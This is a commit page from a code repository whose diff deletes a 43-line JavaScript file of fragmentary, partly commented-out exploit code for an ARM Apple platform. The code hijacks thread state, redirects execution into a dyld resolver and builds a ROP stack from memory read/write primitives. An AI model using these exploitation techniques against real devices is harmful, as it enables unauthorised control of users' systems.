summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorspv <92738222+spv420@users.noreply.github.com>2022-06-01 09:39:37 -0400
committerGitHub <noreply@github.com>2022-06-01 09:39:37 -0400
commit75e9f73551f6f6f67b8bd99441980516d56336e0 (patch)
tree6305e12a3ccf0ffb3dc7fd68c6d17b846bca3268
parentb99c9f63097e7337250b7fd50492430a05634ae5 (diff)
unnecessary
-rw-r--r--old111.js43
1 files changed, 0 insertions, 43 deletions
diff --git a/old111.js b/old111.js
deleted file mode 100644
index 7b77a72..0000000
--- a/old111.js
+++ /dev/null
@@ -1,43 +0,0 @@
-// write_u32(thread_state + (14 << 2), __stack_chk_fail_resolver + dyld_shc_slide);
-// printf("\t\t%x %x\n", pthread_ret, read_u32(pthread_ret));
-
-
- /*
- * spin wait for return
- */
- while (true) {
- /*
- * reset, it's used as input for thread_state size
- */
- write_u32(count, 17);
- calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
-
- /*
- * if the pc is in (resolver, resolver + 8), suspend the thread
- * (to not spin endlessly), read r0 and return
- */
- if (((read_u32(thread_state + (15 << 2)) - (__stack_chk_fail_resolver + dyld_shc_slide)) <= 8) && (read_u32(thread_state + (11 << 2)) == 0x1337)) {
- calls4arg("thread_suspend", rth, 0, 0, 0);
- return read_u32(thread_state);
- }
-
-// calls4arg("usleep", 1000, 0, 0, 0);
- }
-
- /*
- write_u32(stack_shit + i_, 0x0); i_ += 4;
- write_u32(stack_shit + i_, 0x0); i_ += 4;
- write_u32(stack_shit + i_, 0x0); i_ += 4;
- write_u32(stack_shit + i_, 0x130000); i_ += 4;
- write_u32(stack_shit + i_, 0x0); i_ += 4;
- write_u32(stack_shit + i_, 0x0); i_ += 4;
- write_u32(stack_shit + i_, 0x0); i_ += 4;
- write_u32(stack_shit + i_, str_r0_r4 + slid); i_ += 4;*/
-
-// write_u32(stack_shit + i_, 0x0); i_ += 4;
-// write_u32(stack_shit + i_, 0x0); i_ += 4;
-// write_u32(stack_shit + i_, 0x0); i_ += 4;
-// write_u32(stack_shit + i_, 0x0); i_ += 4;
-// write_u32(stack_shit + i_, 0x0); i_ += 4;
-// write_u32(stack_shit + i_, 0x0); i_ += 4;
-// write_u32(stack_shit + i_, 0x0); i_ += 4; \ No newline at end of file